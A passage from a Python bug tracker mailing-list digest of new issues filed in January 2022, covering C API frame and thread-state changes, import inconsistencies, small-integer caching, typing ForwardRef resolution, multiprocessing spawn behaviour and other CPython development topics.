PyThreadState structures. Code which accessed directly structure members doesn't build anymore. For example, "frame->f_code" is now fails because PyFrameObject.f_code member is done. I propose to document these changes and explain how to port code. I will write a documentation PR. == PyFrameObject changes == PyFrameObject now only creates a Python frame object on demand. * f_code: removed, use PyFrame_GetCode() instead, warning: it returns a strong reference (Py_DECREF is needed) * f_lineno: changed, use PyFrame_GetLineNumber() * f_back: changed, use PyFrame_GetBack() * f_builtins: removed, get the "f_builtins" attribute in Python * f_globals: removed, get the "f_globals" attribute in Python * f_locals: removed, get the "f_locals" attribute in Python * f_valuesstack: removed * f_stackdepth: removed * f_gen: removed * f_lasti: removed, get the "f_lasti" attribute in Python? * f_iblock: removed * f_state: removed * f_blockstack: removed * f_localsplus: removed Accessing f_lineno and f_back doesn't fail with a compiler error, but these members are filled lazily. If PyFrame_GetLineNumber() is not called, it can return 0 even if the frame is running and has a line number. If PyFrame_GetBack() is not called, f_back is NULL even if the frame has a next outer frame. == PyThreadState changes == * frame: removed, use PyThreadState_GetFrame(), warning: it returns a strong reference (Py_DECREF is needed) * recursion_depth: removed, use (tstate->recursion_limit - tstate->recursion_remaining) instead * stackcheck_counter: removed * tracing: changed, use PyThreadState_EnterTracing() and PyThreadState_LeaveTracing(), added by bpo-43760 == Notes == We should also explain how to get new C API functions, like PyFrame_GetCode(), on older Python, and maybe suggest to use pythoncapi_compat to get them: https://github.com/pythoncapi/pythoncapi_compat See also: * bpo-39947: "[C API] Make the PyThreadState structure opaque (move it to the internal C API)" * bpo-40421: "[C API] Add getter functions for PyFrameObject and maybe move PyFrameObject to the internal C API" * bpo-43760: "The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing)" -- add PyThreadState_EnterTracing() ---------- components: C API messages: 410398 nosy: vstinner priority: normal severity: normal status: open title: [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 10:33:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 15:33:01 +0000 Subject: [New-bugs-announce] [issue46356] [C API] Enforce usage of PyFrame_GetBack() Message-ID: <1642001581.89.0.653777729997.issue46356@roundup.psfhosted.org> New submission from STINNER Victor : C extensions written for Python 3.10 and older which access directly to the PyFrameObject.f_back member build successfully on Python 3.11, but they can fail because f_back must not be read directly. f_back can be NULL even if the frame has an outer frame. PyFrameObject* PyFrame_GetBack(PyFrameObject *frame) { assert(frame != NULL); PyFrameObject *back = frame->f_back; if (back == NULL && frame->f_frame->previous != NULL) { back = _PyFrame_GetFrameObject(frame->f_frame->previous); } Py_XINCREF(back); return back; } I suggest to remove or "hide" this member from the structure. For example, rename "f_back" to "_f_back" to advice developers to not access it directly. See also bpo-46355: Document PyFrameObject and PyThreadState changes. ---------- components: C API messages: 410403 nosy: Mark.Shannon, vstinner priority: normal severity: normal status: open title: [C API] Enforce usage of PyFrame_GetBack() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 13:30:57 2022 From: report at bugs.python.org (David CARLIER) Date: Wed, 12 Jan 2022 18:30:57 +0000 Subject: [New-bugs-announce] [issue46357] socket module fix warning build on FreeBSD Message-ID: <1642012257.59.0.572521608416.issue46357@roundup.psfhosted.org> New submission from David CARLIER : - Solves the "Make sure new member of socket address initialized." warning for the bluetooth sockaddr_l2cap usage. ---------- components: FreeBSD messages: 410419 nosy: devnexen, koobs priority: normal pull_requests: 28761 severity: normal status: open title: socket module fix warning build on FreeBSD type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 15:53:36 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 12 Jan 2022 20:53:36 +0000 Subject: [New-bugs-announce] [issue46358] Modernize `test_asyncio/test_base_events.py` Message-ID: <1642020816.84.0.177230839646.issue46358@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now there's a special case for python3.4 in `Lib/test/test_asyncio/test_base_events.py` file. Links: - https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_asyncio/test_base_events.py#L24 - https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_asyncio/test_base_events.py#L599 Python3.4 is long gone, I propose to remove this special case. PR is on its way :) ---------- components: Tests messages: 410430 nosy: sobolevn priority: normal severity: normal status: open title: Modernize `test_asyncio/test_base_events.py` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 16:11:00 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 12 Jan 2022 21:11:00 +0000 Subject: [New-bugs-announce] [issue46359] Continue to modernize `test_typing.py` Message-ID: <1642021860.94.0.97959181938.issue46359@roundup.psfhosted.org> New submission from Nikita Sobolev : This is a follow up to: - https://bugs.python.org/issue46348 - https://github.com/python/cpython/pull/30547 There are several other cases I've missed: 1. There's a test that is only executed under `<3.6`. I think that it should be removed: https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_typing.py#L4093-L4099 2. Line `if sys.version_info[:2] > (3, 2):` https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_typing.py#L1943 3. Line `if sys.version_info >= (3, 3):` https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_typing.py#L2069 I hope that this is it! PR is on it way :) ---------- messages: 410431 nosy: sobolevn priority: normal severity: normal status: open title: Continue to modernize `test_typing.py` _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:04:50 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 12 Jan 2022 22:04:50 +0000 Subject: [New-bugs-announce] [issue46360] Inconsistent import behavior for (unusual) submodules Message-ID: <1642025090.39.0.843504931319.issue46360@roundup.psfhosted.org> New submission from Eric Snow : Let's look at a hypothetical module "spam" and its submodule "spam.eggs": ``` # spam.py import sys sys.modules['spam.eggs'] = None ``` Then: >>> import spam.eggs >>> import sys >>> sys.modules['spam.eggs'] is None True >>> spam.eggs Traceback (most recent call last): File "", line 1, in AttributeError: module 'spam' has no attribute 'eggs' The key inconsistent behaviors: * `import spam.eggs` succeeded even though the sys.modules entry is None * `import spam.eggs` succeeded even though "spam" isn't a package (e.g. no `__path__`, `spec.submodule_search_locations`, etc.) * the "eggs" attr wasn't bound on "spam" The relevant code is _find_and_load_unlocked() and _find_and_load() in Lib/importlib/_bootstrap.py. In _find_and_load_unlocked() we first import the parent module. Then we have a special case, where we see if "spam.eggs" was added to sys.modules as a side effect. If it was then we short-circuit the rest of import and return the submodule as-is. This leads to some of the inconsistent behavior described above, since the subsequent code (e.g. checks, binding to the parent) get skipped. In _find_and_load() we have code which raises ModuleNotFoundError if the resulting module is None, which acts as a marker that importing the module is disabled. This check is always skipped when importing the module for the first time, leading to the other inconsistent behavior from above. The is definitely a corner case, but os.path demonstrates it's a real scenario. In fact, os.path is what drew my attention to this code. Is it worth fixing? The change shouldn't be invasive so I'm leaning toward yes. It isn't a high priority though. ---------- assignee: eric.snow components: Interpreter Core messages: 410433 nosy: barry, brett.cannon, eric.snow, ncoghlan priority: normal severity: normal stage: needs patch status: open title: Inconsistent import behavior for (unusual) submodules type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:50:40 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 12 Jan 2022 22:50:40 +0000 Subject: [New-bugs-announce] [issue46361] Small ints aren't always cached properly Message-ID: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> New submission from Brandt Bucher : To my surprise, it seems that it's possible to create "small" integers that should live in _PyLong_SMALL_INTS, but don't. Here are two examples I've found: >>> import decimal >>> i = int(decimal.Decimal(42)) # Modules/_decimal/_decimal.c:dec_as_long >>> i 42 >>> i is 42 :1: SyntaxWarning: "is" with a literal. Did you mean "=="? False >>> i = int.from_bytes(bytes([42])) # Objects/longobject.c:_PyLong_FromByteArray >>> i 42 >>> i is 42 :1: SyntaxWarning: "is" with a literal. Did you mean "=="? False I'm not entirely sure if this is "allowed" or not, but in any case it seems beneficial to reach into the small ints here (provided it doesn't hurt performance, of course). I'm testing out simple fixes for both of these now. ---------- assignee: brandtbucher components: Interpreter Core messages: 410437 nosy: brandtbucher priority: normal severity: normal status: open title: Small ints aren't always cached properly type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:08:54 2022 From: report at bugs.python.org (neonene) Date: Thu, 13 Jan 2022 03:08:54 +0000 Subject: [New-bugs-announce] [issue46362] os.path.abspath() needs more normalization on Windows Message-ID: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> New submission from neonene : 3.11a3+ introduced the C version of abspath(), which shows incompletely normalized absolute path (see msg410068): >>> os.path.abspath(r'\\spam\\eggs. . .') '\\\\spam\\\\eggs. . .' >>> os.path.abspath('C:\\spam. . .') 'C:\\spam. . .' >>> os.path.abspath('C:\\nul') 'C:\\nul' The design is efficient on startup with getpath_abspath(), but ntpath.abspath()'s result after startup should be more normalized. ---------- components: Windows messages: 410456 nosy: neonene, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: os.path.abspath() needs more normalization on Windows type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:34:29 2022 From: report at bugs.python.org (perlang) Date: Thu, 13 Jan 2022 03:34:29 +0000 Subject: [New-bugs-announce] [issue46363] Two typos in verions 3.7 document translation of zh_CN Message-ID: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org> New submission from perlang : In this URL, https://docs.python.org/zh-cn/3.7/library/ctypes.html There are two typos of '??' , the correct should be '??'(means callback) I think. Best Regards, perlang ---------- assignee: docs at python components: Documentation messages: 410459 nosy: docs at python, perlang priority: normal severity: normal status: open title: Two typos in verions 3.7 document translation of zh_CN versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:18:32 2022 From: report at bugs.python.org (xoph) Date: Thu, 13 Jan 2022 08:18:32 +0000 Subject: [New-bugs-announce] [issue46364] asyncio subprocess cannot read from /dev/stdin Message-ID: <1642061912.8.0.614149545216.issue46364@roundup.psfhosted.org> Change by xoph : ---------- components: asyncio nosy: asvetlov, xoph, yselivanov priority: normal severity: normal status: open title: asyncio subprocess cannot read from /dev/stdin type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:59:42 2022 From: report at bugs.python.org (simon28li) Date: Thu, 13 Jan 2022 08:59:42 +0000 Subject: [New-bugs-announce] [issue46365] _ curses module is not installed Message-ID: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> New submission from simon28li : Python build finished successfully! The necessary bits to build these optional modules were not found: _curses _curses_panel _tkinter To find the necessary bits, look in setup.py in detect_modules() for the module's name. ---------- components: Extension Modules messages: 410473 nosy: simon28li priority: normal severity: normal status: open title: _ curses module is not installed type: compile error versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 05:07:54 2022 From: report at bugs.python.org (Daviddcc) Date: Thu, 13 Jan 2022 10:07:54 +0000 Subject: [New-bugs-announce] [issue46366] Recursively propagate the mode, in os.makedirs Message-ID: <1642068474.42.0.461726294007.issue46366@roundup.psfhosted.org> New submission from Daviddcc : os.makedirs do not propagate the requested rights, recursively creating directories with a 777 mode : def makedirs(name, mode=0o777, exist_ok=False): (...) if head and tail and not path.exists(head): try: makedirs(head, exist_ok=exist_ok) # <= HERE ---------- components: Library (Lib) messages: 410480 nosy: dcasier priority: normal severity: normal status: open title: Recursively propagate the mode, in os.makedirs type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:20:59 2022 From: report at bugs.python.org (jakirkham) Date: Thu, 13 Jan 2022 19:20:59 +0000 Subject: [New-bugs-announce] [issue46367] multiprocessing's "spawn" doesn't actually use spawn Message-ID: <1642101659.38.0.387431242507.issue46367@roundup.psfhosted.org> New submission from jakirkham : Reporting an issue recently encountered by a colleague. It appears the `multiprocessing`'s "spawn" mode doesn't actually use POSIX spawn, but instead uses fork+exec[1]. While this is certainly a useful feature in its own right, this not quite one would expect from something described as spawn. AFAICT the documentation doesn't point this out. This is important as some libraries are not fork-safe and even fork+exec is not sufficient to protect them. Would be helpful if "spawn" did use POSIX spawn and the current behavior was covered under a clearer name (like "forkexec"). Ref: 1. https://github.com/python/cpython/blob/af6b4068859a5d0c8afd696f3c0c0155660211a4/Lib/multiprocessing/util.py#L448-L458 ---------- components: Library (Lib) messages: 410512 nosy: jakirkham priority: normal severity: normal status: open title: multiprocessing's "spawn" doesn't actually use spawn type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:26:44 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 20:26:44 +0000 Subject: [New-bugs-announce] [issue46368] faulthandler: add the ability to dump all interpreters, not only the current interpreter Message-ID: <1642105604.41.0.0582703431564.issue46368@roundup.psfhosted.org> New submission from STINNER Victor : While debugging the sub-interpreter crash bpo-46070, I noticed that faulthandler only logs the Python thread state of a single interpreter. When a bug involves multiple interpreters, it is useful to log all interpreters. ---------- components: Library (Lib) messages: 410519 nosy: vstinner priority: normal severity: normal status: open title: faulthandler: add the ability to dump all interpreters, not only the current interpreter versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 16:49:34 2022 From: report at bugs.python.org (Andreas H.) Date: Thu, 13 Jan 2022 21:49:34 +0000 Subject: [New-bugs-announce] [issue46369] get_type_hints does not evaluate ForwardRefs inside NewType Message-ID: <1642110574.72.0.371429646126.issue46369@roundup.psfhosted.org> New submission from Andreas H. : Consider the following: NewT = typing.NewType("NewT", typing.List[typing.Optional['Z']] ) class Z: pass Now get_type_hints() does not resolve the ForwardRef within NewType (but it does so for TypedDict, dataclasses, NamedTuple). Neither of the following works. 1) class dummy: test: NewT get_type_hints(test,None,None) print( NewT.__supertype__.__args__[0].__args__[0]__.__forward_evaluated__ ) # --> False Note: investigating the return value of get_type_hints does not change the outcome. get_type_hints() patches ForwardRefs in-place. 2) get_type_hints(NewT,None,None) # --> TypeError is not a module, class, method, or function For Python 3.10+ a workaround exists, but requires access to implementation details of NewType: class dummy: test: NewT.__supertype__ get_type_hints( dummy, globalns=sys.modules[NewT.__module__].__dict__, localns=None ) Possible solution could be A) to extent `get_type_hints` to explicitly handle NewType (basically call _eval_type for the __supertype__ member). That makes approach 2) work (but not 1) or B) to extend _eval_type() to handle process NewType as well. This would make 1) work (but not 2). I guess, since NewType is supposed to be semantically a subclass of the referred type, 2) is probably the preferred approach, which would suggest A). Strictly speaking this issue exits in all Python versions that have NewType, but it is easier to fix in 3.10 because there NewType has the __module__ member. ---------- components: Library (Lib) messages: 410528 nosy: andreash, gvanrossum, kj priority: normal severity: normal status: open title: get_type_hints does not evaluate ForwardRefs inside NewType type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 17:19:28 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 22:19:28 +0000 Subject: [New-bugs-announce] [issue46370] Move runtime static init to its own header file. Message-ID: <1642112368.34.0.095253636742.issue46370@roundup.psfhosted.org> New submission from Eric Snow : The static initializer for `_PyRuntime` is currently defined in Include/internal/pycore_runtime.h. However, it is only needed by Python/pylifecycle.c (and Python/pystate.c for an optimization) and should only be used there. (Also, the initializer is quite large.) So I'm planning on moving it to it's own internal header file. ---------- assignee: eric.snow components: Interpreter Core messages: 410529 nosy: eric.snow priority: normal severity: normal stage: needs patch status: open title: Move runtime static init to its own header file. versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:48:15 2022 From: report at bugs.python.org (Andreas H.) Date: Thu, 13 Jan 2022 23:48:15 +0000 Subject: [New-bugs-announce] [issue46371] A better way to resolve ForwardRefs in type aliases across modules Message-ID: <1642117695.26.0.396895524876.issue46371@roundup.psfhosted.org> New submission from Andreas H. : (De)Serialization of in-memory data structures is an important application. However there is a rather unpleasant issue with ForwardRefs. One cannot export type aliases when they contain ForwardRefs (and expect things to work). Consider the example: Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] When used in another module the containing ForwardRefs cannot be resolved, or in the worst case, resolve to wrong types if in the caller namespace contains a symbol with the same name as ForwardRef refers to. This of course only applies to inspection-based tools which utilize the run-time information, not the static type checkers. Type aliases sometimes have to be used sometimes - they cannot be avoided in all cases, especially with recursive types as in the example above. There are several options to improve the situation. These are all that came to my mind and I want to expose them to discussion. 1. Guard with NewType Json = NewType('Json', Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] ) Advantage: This could allow automatic cross-module ForwardRef resolution provided issue 46369 [1] is acknowledged as a bug and fixed. Disadvantage: Does not create a true type alias, but a sub-type. Type casts have to be used all the time, e.g. `data = Json(bool)`. So can only applied to a subset of use-cases (but is IMO a clean solution when it fits). 2. Use the `module` parameter of ForwardRef Json = Union[ List[ForwardRef('Json', module=__name__)], Dict[str, ForwardRef('Json', module=__name__)], int, float, bool, None ] ) Advantage: Works in 3.10. Disadvantage: Would require issue 46333 [2] to be fixed. ForwardRef is not meant to be instatiated by the user, also `module` parameter is currently completely internal. 3. Modify ForwardRef so that it accepts a fully qualified name Json = Union[ List[__name__+'.Json'], Dict[str, __name__+'.Json'], int, float, bool, None ] ) Advantage: This is only a tiny change (because ForwardRef has the `module` parameter). ForwardRef would stay internal. Less ugly than 2. Disadvantage: Still a bit ugly. Would also require issue 46333 [2] to be fixed. Relative module specification (as in relative imports) would not work. 4. Manual evaluation Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] resolve_type_alias(Json, globals(), locals() ) def resolve_type_alias(type, globalns, localns): class dummy: test: type typing.get_type_hints(dummy, globalns, localns) # Note: this modifies ForwardRefs in-place Advantage: Works in many versions. Disadvantage: Requires user to explicily call function after the last referenced type is defined (this may be physically separated from the type alias definition, which does not feel like a good solution especially since this ForwardRef export problem is only technical, and not even close to beeing obvious to most people) 5. Make `get_type_hints()` to work with type-aliases (essentially integrate above `resolve_type_alias`). The return value of get_type_hints() would be the same as argument, just with ForwardRefs in-place resolved. Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] get_type_hints(Json, globals(), locals()) Advantage: same as 4) but hides useful (but ugly) code Disadvantage: same as 4) 6. Make all types in typing (such as List, Dict, Union, etc...) to capture their calling module and pass this information to ForwardRef, when one is to be created. Then already during construction of ForwardRef the `module` will be correctly set. Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] Advantage: This requires no user intervention. Things will "just work" Disadvantage: This is rather big change. It is incompatible with the caching used inside typing.py (the new __module__ parameter would need to be taken into account in __hash__ and/or __eq__). And maybe has other issues I do not see at the moment. 7. Extend `TypeAlias` hint so it can be used in bracket way similar to e.g. `Annotated` Json = TypeAlias[ Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] ] I know, presently it is supposed to be used as `Json: TypeAlias = Union[ .... ]`. But that is of no help at run-time, because the variable Json contains no run-time information. So even if TypeAlias would capture the calling module, this information is not passed on to the variable `Json`. This is different for the bracket notation TypeAlias[ .. ]. Advantage: Similar usage to Annotated. Would not require a big change such as in 4). Disadvantage: TypeAlias is not supposed to be used that way. 8. Introduce function to define a type alias, which sets the module parameter of all ForwardRefs Json = DefineTypeAlias( Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] ) DefineTypeAlias would capture its calling module and recursively walk over the type tree to find and patch all ForwardRefs Advantage: Simpler change, but requires to recurively walk over all alias type-hints which do not capture their calling module. Disadvantage: Together with TypeAlias, things look ugly and unnecessary complicated. (Json: TypeAlias = DefineTypeAlias( ... ) ) Personally, I think 1) is a good solution in cases where this can be applied (and [1] is considered a bug and fixed). For the other cases 6) would be the ideal solution, but this may be too much work. Alternatively I think 3), 8) or 5) (in that order) may be interesting and could be a potential enhancement to the `typing` module. I would really appreciate some thoughts or comments on this! Thank you. - [1] https://bugs.python.org/issue46369 - [2] https://bugs.python.org/issue46333 ---------- components: Library (Lib) messages: 410535 nosy: AlexWaygood, andreash, gvanrossum, kj, kumaraditya303 priority: normal severity: normal status: open title: A better way to resolve ForwardRefs in type aliases across modules type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 01:42:28 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 14 Jan 2022 06:42:28 +0000 Subject: [New-bugs-announce] [issue46372] int/float specializations should mutate the LHS in-place when possible Message-ID: <1642142548.34.0.279604179898.issue46372@roundup.psfhosted.org> New submission from Brandt Bucher : The performance of our existing int and float specializations can be improved by mutating the LHS operand in-place when possible. This leads to significant speedups for several number-crunching benchmarks, and a solid 1% improvement overall: Slower (16): - regex_effbot: 3.14 ms +- 0.01 ms -> 3.26 ms +- 0.03 ms: 1.04x slower - pidigits: 197 ms +- 0 ms -> 203 ms +- 0 ms: 1.03x slower - pickle_list: 4.40 us +- 0.05 us -> 4.51 us +- 0.05 us: 1.02x slower - logging_silent: 106 ns +- 2 ns -> 108 ns +- 1 ns: 1.02x slower - unpickle_pure_python: 248 us +- 2 us -> 253 us +- 4 us: 1.02x slower - xml_etree_generate: 80.3 ms +- 0.5 ms -> 81.5 ms +- 0.7 ms: 1.02x slower - telco: 6.50 ms +- 0.10 ms -> 6.60 ms +- 0.11 ms: 1.02x slower - go: 149 ms +- 1 ms -> 151 ms +- 2 ms: 1.01x slower - pickle: 9.82 us +- 0.07 us -> 9.94 us +- 0.13 us: 1.01x slower - xml_etree_process: 58.0 ms +- 0.6 ms -> 58.6 ms +- 0.5 ms: 1.01x slower - pickle_pure_python: 329 us +- 5 us -> 332 us +- 2 us: 1.01x slower - regex_dna: 217 ms +- 3 ms -> 219 ms +- 0 ms: 1.01x slower - json_loads: 25.3 us +- 0.2 us -> 25.6 us +- 0.3 us: 1.01x slower - scimark_fft: 328 ms +- 9 ms -> 331 ms +- 5 ms: 1.01x slower - 2to3: 263 ms +- 1 ms -> 264 ms +- 1 ms: 1.01x slower - deltablue: 4.20 ms +- 0.04 ms -> 4.22 ms +- 0.03 ms: 1.00x slower Faster (24): - scimark_sparse_mat_mult: 4.82 ms +- 0.20 ms -> 4.31 ms +- 0.37 ms: 1.12x faster - spectral_norm: 97.0 ms +- 0.8 ms -> 89.3 ms +- 0.6 ms: 1.09x faster - fannkuch: 418 ms +- 7 ms -> 385 ms +- 4 ms: 1.08x faster - unpack_sequence: 48.6 ns +- 2.6 ns -> 46.1 ns +- 3.5 ns: 1.05x faster - scimark_lu: 115 ms +- 4 ms -> 110 ms +- 2 ms: 1.05x faster - scimark_monte_carlo: 72.2 ms +- 1.1 ms -> 69.9 ms +- 0.8 ms: 1.03x faster - nbody: 99.4 ms +- 2.1 ms -> 96.9 ms +- 1.7 ms: 1.03x faster - chaos: 72.5 ms +- 0.7 ms -> 70.9 ms +- 0.5 ms: 1.02x faster - nqueens: 84.6 ms +- 0.7 ms -> 82.8 ms +- 0.5 ms: 1.02x faster - pickle_dict: 27.1 us +- 0.1 us -> 26.7 us +- 0.1 us: 1.02x faster - regex_v8: 24.3 ms +- 0.4 ms -> 24.0 ms +- 0.4 ms: 1.01x faster - sqlalchemy_imperative: 19.1 ms +- 0.7 ms -> 18.8 ms +- 0.2 ms: 1.01x faster - float: 77.4 ms +- 0.9 ms -> 76.7 ms +- 0.9 ms: 1.01x faster - sqlalchemy_declarative: 147 ms +- 3 ms -> 146 ms +- 3 ms: 1.01x faster - hexiom: 6.68 ms +- 0.06 ms -> 6.63 ms +- 0.03 ms: 1.01x faster - sympy_sum: 169 ms +- 2 ms -> 168 ms +- 2 ms: 1.01x faster - json_dumps: 12.8 ms +- 0.2 ms -> 12.7 ms +- 0.2 ms: 1.01x faster - logging_format: 6.42 us +- 0.08 us -> 6.37 us +- 0.09 us: 1.01x faster - python_startup_no_site: 5.81 ms +- 0.00 ms -> 5.77 ms +- 0.00 ms: 1.01x faster - sympy_integrate: 21.5 ms +- 0.1 ms -> 21.4 ms +- 0.1 ms: 1.01x faster - dulwich_log: 65.4 ms +- 0.5 ms -> 65.1 ms +- 0.5 ms: 1.00x faster - crypto_pyaes: 83.5 ms +- 0.5 ms -> 83.1 ms +- 0.4 ms: 1.00x faster - raytrace: 309 ms +- 3 ms -> 307 ms +- 2 ms: 1.00x faster - python_startup: 8.18 ms +- 0.01 ms -> 8.15 ms +- 0.01 ms: 1.00x faster Benchmark hidden because not significant (18): chameleon, django_template, logging_simple, mako, meteor_contest, pathlib, pyflate, regex_compile, richards, scimark_sor, sqlite_synth, sympy_expand, sympy_str, tornado_http, unpickle, unpickle_list, xml_etree_parse, xml_etree_iterparse Geometric mean: 1.01x faster ---------- assignee: brandtbucher components: Interpreter Core messages: 410544 nosy: Mark.Shannon, brandtbucher, gvanrossum priority: normal severity: normal status: open title: int/float specializations should mutate the LHS in-place when possible type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 04:06:20 2022 From: report at bugs.python.org (Andreas H.) Date: Fri, 14 Jan 2022 09:06:20 +0000 Subject: [New-bugs-announce] [issue46373] TypedDict and NamedTuple do not evaluate cross-module ForwardRef in all cases Message-ID: <1642151180.4.0.790714368451.issue46373@roundup.psfhosted.org> New submission from Andreas H. : TypedDict does not resolve cross-module ForwardRefs when the ForwardRef is not a direct one. In other words the fix GH-27017 (issue 41249) for TypedDict seems incomplete. The same issue seem to exist for NamedTuple. Example: #module.py TD = typing.TypedDict("TD", {'test': typing.List[typing.Optional['Y']]}) class Y: pass # other module class TDSub(module.TD): a: int get_type_hints(TDSub) # -> Exception NameError: Y not found On the other hand, with direct ForwardRef, as e.g. in TD = typing.TypedDict("TD", {'test': 'Y' } ) it works (that was indeed fixed by GH-27017) Same issue exists for NamedTuple. There neither of the above works, i.e. cross-module ForwardRefs are never resolve (but they could - als NamedTuple has the __module__ member set with to calling module). I am not sure if inheritance for NamedTuple is supported so I do not know if it is really a bug. The problem in the code is that in TypedDict the `module` parameter is passed only onto the immediate ForwardRef. One option could be to recursively walk the type and search for unpatched ForwardRefs and set the module parameter. On the other hand, the retroactive patching of forward refs is problematic as it may mess with the caching mechanism im typing.py. There may be a type with ForwardRef already in cache (and used by more than one user), but only for one user the `module` is to be updated. So probably a correct implementation is tricky, or some other way has to be found to update the `module` of ForwardRefs (e.g. by copying the type tree). For NamedTuple the whole mechanism of passing the `module` parameter to the ForwardRefs is not done (not even for direct ForwardRef ones). Not sure how important this (likely not very) is as I do not use TypedDict and NamedTuple. This is just to report it. ---------- components: Library (Lib) messages: 410547 nosy: AlexWaygood, Jelle Zijlstra, andreash, gvanrossum, kj, kumaraditya303, sobolevn priority: normal severity: normal status: open title: TypedDict and NamedTuple do not evaluate cross-module ForwardRef in all cases type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:04:33 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 14 Jan 2022 10:04:33 +0000 Subject: [New-bugs-announce] [issue46374] Assertion failed in ceval.c Message-ID: <1642154673.28.0.417498068178.issue46374@roundup.psfhosted.org> Change by Kumar Aditya : ---------- components: Interpreter Core nosy: kumaraditya303 priority: normal severity: normal status: open title: Assertion failed in ceval.c type: crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 05:39:24 2022 From: report at bugs.python.org (Marcel Martin) Date: Fri, 14 Jan 2022 10:39:24 +0000 Subject: [New-bugs-announce] [issue46375] io.BytesIO does not have peek() Message-ID: <1642156764.85.0.265737268073.issue46375@roundup.psfhosted.org> New submission from Marcel Martin : It would be great to be able to use peek() on BytesIO objects. I have a function that gets passed a file-like object and uses peek() on it. This works for nearly all types of files relevant in my library, except BytesIO instances (which I use during testing), for which I need to add a small workaround using tell() and seek(). ---------- components: Library (Lib) messages: 410552 nosy: marcelm priority: normal severity: normal status: open title: io.BytesIO does not have peek() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 06:12:18 2022 From: report at bugs.python.org (Aviram) Date: Fri, 14 Jan 2022 11:12:18 +0000 Subject: [New-bugs-announce] [issue46376] PyMapping_Check returns 1 for list Message-ID: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> New submission from Aviram : This is re-open of https://bugs.python.org/issue5945. In the former issue, it was decided that documenting the odd behavior and later providing clean, good ABC C API would be the long term solution. Few years passed and there are no alternatives AFAIK I am wondering if that's due to lack of resources or just forgotten? I don't mind contributing the necessary change in case there's really nothing in progress and it is something Python community wants to fix. Hopefully there's an existing solution and I just didn't search well enough. ---------- components: C API messages: 410555 nosy: aviramha priority: normal severity: normal status: open title: PyMapping_Check returns 1 for list type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 08:50:48 2022 From: report at bugs.python.org (Mike Schiessl) Date: Fri, 14 Jan 2022 13:50:48 +0000 Subject: [New-bugs-announce] [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 Message-ID: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> New submission from Mike Schiessl : Using the TimedRotatingFileHandler along with 